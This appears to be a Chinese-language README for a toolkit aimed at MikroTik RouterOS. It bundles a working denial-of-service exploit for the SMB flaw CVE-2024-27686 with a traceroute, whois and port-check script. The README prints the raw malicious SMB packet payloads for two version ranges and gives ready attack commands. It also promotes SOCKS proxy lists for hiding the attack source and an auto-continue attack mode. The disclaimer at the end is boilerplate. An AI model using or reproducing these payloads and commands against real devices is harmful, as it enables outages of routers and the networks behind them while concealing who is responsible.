MikroTik RouterOS 安全测试工具集
本项目提供了一套针对 MikroTik RouterOS 设备的专业安全测试与网络诊断工具。核心组件包括一个利用 SMB 协议处理缺陷的拒绝服务(DoS)漏洞利用脚本(CVE-2024-27686),以及一个功能完善的路由追踪与端口检测 Shell 脚本。这些工具专为授权安全测试人员、网络管理员和渗透测试工程师设计,用于验证目标系统的安全性及网络路径的可达性。
功能特性
- 精准漏洞利用:支持针对 RouterOS 6.40.5 至 6.44 版本以及 6.48.1 至 6.49.10 版本的 SMB DoS 攻击。
- 代理列表支持:Python 利用脚本内置对 SOCKS 代理列表的支持,可隐藏攻击源。
- 健壮的连接处理:包含超时控制、自动重试机制和详细的日志记录功能。
- 智能路由追踪:Bash 脚本可执行带跃点数限制的 traceroute,自动识别通往目标 IP 的最后一跳网关。
- 网关信息查询:自动对识别出的网关 IP 执行 WHOIS 查询,提取关键网络归属信息。
- 端口连通性检测:快速检测目标 IP 指定端口的开放状态(TCP)。
安装指南
环境要求
- Python 脚本:
- Python 3.6+
pysocks库(用于代理支持)
- Bash 脚本:
- 类 Unix 环境(Linux/macOS)
traceroute命令whois命令timeout命令(通常为 GNU coreutils 部分)
安装步骤
-
克隆或下载项目文件: 将
exploit.py(Python 利用脚本)和traceroute.sh(Bash 路由追踪脚本)保存到本地目录。 -
安装 Python 依赖:
pip install pysocks -
赋予 Bash 脚本执行权限:
chmod +x traceroute.sh -
验证系统命令可用性:
which traceroute whois timeout
使用说明
1. Python DoS 漏洞利用脚本
基本用法示例:
# 对目标 IP 默认 SMB 端口(445)执行攻击
python3 exploit.py --target 192.168.1.1
# 指定攻击版本(1 或 2)并设置详细日志
python3 exploit.py --target 10.0.0.1 --version 2 --verbose
# 使用代理列表文件并自动继续攻击
python3 exploit.py --target 172.16.0.1 --proxy-list proxies.txt --auto-continue
# 自定义攻击间隔和超时时间
python3 exploit.py --target 192.168.1.100 --interval 1.5 --timeout 3
命令行参数说明:
| 参数 | 说明 |
|---|---|
--target | 目标 RouterOS IP 地址(必需) |
--port | SMB 服务端口,默认 445 |
--version | 指定攻击载荷版本(1 或 2) |
--interval | 攻击包发送间隔(秒),默认 2.0 |
--timeout | 连接超时时间(秒),默认 5.0 |
--max-retries | 最大重试次数,默认 3 |
--proxy-list | SOCKS 代理列表文件路径 |
--auto-continue | 自动继续攻击模式 |
--verbose | 启用详细输出 |
--log-file | 指定日志输出文件 |
2. Bash 路由追踪与网关识别脚本
基本用法示例:
# 追踪到目标 IP 并检测 22 端口
./traceroute.sh 8.8.8.8 22
# 追踪到局域网网关并检测 Web 端口
./traceroute.sh 192.168.1.1 80
脚本执行流程:
- 执行最大 30 跳的
traceroute追踪。 - 格式化输出每一跳的 IP 地址和往返时间(RTT)。
- 自动识别目标前的最后一跳网关 IP。
- 对该网关 IP 执行
whois查询,过滤显示关键字段。 - 使用 TCP 握手检测目标 IP 的指定端口是否开放。
核心代码
Python 漏洞利用脚本核心配置与数据包
@dataclass
class Config:
target: str
port: int = 445
interval: float = 2.0
timeout: float = 5.0
max_retries: int = 3
log_level: str = "INFO"
log_file: Optional[str] = None
version: Optional[int] = None
auto_continue: bool = False
verbose: bool = False
proxy_list_path: Optional[str] = None
# 针对不同 RouterOS 版本的恶意 SMB 数据包载荷
EXPLOIT_PACKETS = {
1: {
"name": "RouterOS 6.40.5 - 6.44",
"packets": [
b'\x00\x00\x00n\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x03\x00\xf1\x1f\x08\x00\x00\x00'
b'\x00\x00\x00\xe1\xbe\x82\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00G\xe5\x07\xf5\x07\xec\x01u\xe4Q]\x9e'
b'\xea\xedn\xa9\t\x00\x00\x00H\x00&\x00\\\x00\\\x001\x009\x002\x00.\x001\x006\x008'
b'\x00.\x001\x005\x00.\x007\x007\x00\\\x00p\x00u\x00b\x00'
]
},
2: {
"name": "RouterOS 6.48.1 - 6.49.10",
"packets": [
b'\x00\x00\x00\xea\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00'
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'\x00\x00\x00\x00\x00\x00$\x00\x05\x00\x01\x00\x00\x00\x7f\x00\x00\x00\xe8\xe4*\x99'
b'\xc9\xeb\xb6E\xa2A\xe9(\xee%\xe5\xdfp\x00\x00\x00\x04\x00\x00\x00\x02\x02\x10\x02'
b'\x00\x03\x02\x03\x11\x03\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00'
]
}
}
Bash 脚本核心路由解析与网关提取逻辑
# 执行带跳数限制的 traceroute
HOPS=$(traceroute -n -m $MAX_HOPS "$TARGET" 2>/dev/null)
# 使用 awk 解析并格式化输出每一跳的信息
echo "$HOPS" | awk '
{
hop=$1;
ip=$2;
rtt1=$3; rtt2=$4; rtt3=$5;
if(ip == "*") {
print hop "\tRequest timed out";
} else {
printf "%-3s\t%-15s\t", hop, ip;
if(rtt1 ~ /^[0-9.]+$/) printf "RTT: %sms", rtt1;
if(rtt2 ~ /^[0-9.]+$/) printf ", %sms", rtt2;
if(rtt3 ~ /^[0-9.]+$/) printf ", %sms", rtt3;
print "";
}
}'
# 提取倒数第二跳作为目标前的网关 IP
GATEWAY=$(echo "$HOPS" | tail -n 2 | head -n 1 | awk '{print $2}')
# 使用 whois 查询网关信息并过滤关键字段
whois "$GATEWAY" | grep -Ei '^(netname|descr|origin|country|OrgName|OrgId|abuse-mailbox|address)'
# 通过 /dev/tcp 伪设备进行端口连通性检测
if timeout 3 bash -c "echo > /dev/tcp/$TARGET/$PORT" 2>/dev/null; then
echo "[+] Port $PORT on $TARGET is OPEN"
else
echo "[-] Port $PORT on $TARGET is CLOSED or FILTERED"
fi
⚠️ 免责声明
本工具集仅用于授权的安全测试、教育研究及网络故障诊断。未经目标系统所有者明确书面许可,使用这些工具攻击系统属于违法行为。使用者须遵守所在地法律法规,并自行承担一切法律责任。项目作者与贡献者不对任何滥用行为负责。 6HFtX5dABrKlqXeO5PUv/94jg+QCh45zgthERjre0KI=